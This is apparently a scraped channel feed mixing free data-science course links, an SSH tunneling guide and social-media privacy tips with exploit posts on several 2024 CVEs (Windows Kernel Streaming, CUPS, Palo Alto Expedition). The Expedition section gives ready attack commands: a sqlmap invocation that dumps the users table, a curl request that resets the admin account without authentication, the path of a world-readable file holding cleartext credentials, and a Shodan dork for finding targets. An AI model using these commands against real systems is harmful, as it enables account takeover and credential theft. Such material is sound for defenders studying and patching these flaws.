[ Сураба 🦀]

💻 Exploiting Windows Kernel via Kernel Streaming Proxying An in-depth look at CVE-2024-30090, a vulnerability in Kernel Streaming, allowing privilege escalation via malformed IOCTL requests. By leveraging KS Event mishandling during 32-bit to 64-bit conversions, can exploit the bug pattern to gain arbitrary kernel mode access. 🔗 Research: Proxying to Kernel - Part I Proxying to Kernel - Part II 🔗 Source: https://github.com/Dor00tkit/CVE-2024-30090 #windows #streaming #kernel #cve #poc

https://open.oregonstate.education/ #Uni

CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177: Linux OpenPrinting CUPS RCE blog: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ PoC: https://github.com/RickdeJager/cupshax patch:

sudo systemctl stop cups-browsed
sudo systemctl disable cups-browsed

#exploit #git #pentest #redteam

FREE RESOURCES TO LEARN 🔰 SQL http://online.stanford.edu/courses/soe-ydatabases0005-databases-relational-databases-and-sql https://t.me/sqlanalyst/38 🔰 Python http://cs50.harvard.edu/python/2022/ 🔰Statistics and R https://edx.org/learn/r-programming/harvard-university-statistics-and-r 🔰Data Science: R Basics https://edx.org/learn/r-programming/harvard-university-data-science-r-basics 🔰 Excel and PowerBI http://learn.microsoft.com/en-gb/training/paths/modern-analytics/ https://t.me/excel_analyst 🔰Data Science: Visualization https://edx.org/learn/data-visualization/harvard-university-data-science-visualization 🔰Data Science: Machine Learning https://edx.org/learn/machine-learning/harvard-university-data-science-machine-learning 🔰 R http://cognitiveclass.ai/courses/r-101 🔰 Tableau http://tableau.com/learn/training 🔰 PowerBI http://learn.microsoft.com/en-us/users/collinschedler-0717/collections/m14nt4rdwnwp04 https://t.me/PowerBI_analyst 🔰Data Science: Productivity Tools https://edx.org/learn/data-science/harvard-university-data-science-productivity-tools 🔰Data Science: Probability https://edx.org/learn/probability/harvard-university-data-science-probability 🔰 Mathematics http://ocw.mit.edu/search/?d=Mathematics&s=department_course_numbers.sort_coursenum 🔰 Statistics http://cognitiveclass.ai/courses/statistics-101 🔰 Data Visualization http://pll.harvard.edu/course/data-science-visualization 🔰 Machine Learning http://developers.google.com/machine-learning/crash-course 🔰 Deep Learning http://introtodeeplearning.com https://t.me/machinelearning_deeplearning 🔰Data Science: Linear Regression https://pll.harvard.edu/course/data-science-linear-regression/2023-10 🔰Data Science: Wrangling https://edx.org/learn/data-science/harvard-university-data-science-wrangling 🔰 Linear Algebra http://pll.harvard.edu/course/data-analysis-life-sciences-2-introduction-linear-models-and-matrix-algebra 🔰 Probability http://pll.harvard.edu/course/data-science-probability 🔰Introduction to Linear Models and Matrix Algebra https://edx.org/learn/linear-algebra/harvard-university-introduction-to-linear-models-and-matrix-algebra 🔰Data Science: Capstone https://edx.org/learn/data-science/harvard-university-data-science-capstone https://t.me/pythonspecialist/55?single 🔰 Data Analysis http://pll.harvard.edu/course/data-analysis-life-sciences-4-high-dimensional-data-analysis

CVE-2024-9465: Palo Alto Expedition Unauthenticated SQL Injection Firing up the SQLMAP tool, and supplying it the endpoint and parameter to inject and table to dump, it successfully dumps the entire users table:

python3 sqlmap.py -u "https://10.0.40.64/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump

CVE-2024-5910: Expedition: Missing Authentication Leads to Admin Account Takeover for attackers with network access

curl -k 'https://10.0.40.64/0S/startup/restore/restoreAdmin.php'

CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Exploit CVE-2024-9466: Cleartext Credentials in Logs

/home/userSpace/devices/debug.txt

This world-readable file contained the raw request logs of the Expedition server when it exchanged cleartext credentials for API keys in the device integration process. The Expedition server only stores the API keys, and is not supposed to retain the cleartext credentials, but this log file showed all the credentials used in cleartext. This issue was reported and assigned CVE-2024-9466. Blog: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/ Shodan dork:

html:"Expedition Project"

Visual guide to SSH tunneling and port forwarding https://ittavern.com/visual-guide-to-ssh-tunneling-and-port-forwarding/

How to Beat Social Media Algorithms Social media platforms charge you nothing to use them, except info about you. Their algorithms decide what content to show you.❗️Don’t make their data harvesting easier —skirt the algorithms whenever you can. ✅ Don’t confirm the algorithm’s assumptions. Avoid interacting with suggested content if possible. If you find something interesting in suggestions, search for it manually and watch it from there. ✅ Eliminate suggested feeds when possible. Change your feeds to sort chronologically ➡️ don’t train the platform’s algorithm. Not for all social medias! Facebook and Twitter let you sort by recent posts. Instagram might not have a chronological feed at the moment, but it’s coming. TikTok - watch content from the “Following” (would show you videos only from accounts you follow). ✅ Use platforms without your account when possible (YouTube, Reddit). ✅ Use a burner account, with none of your real info.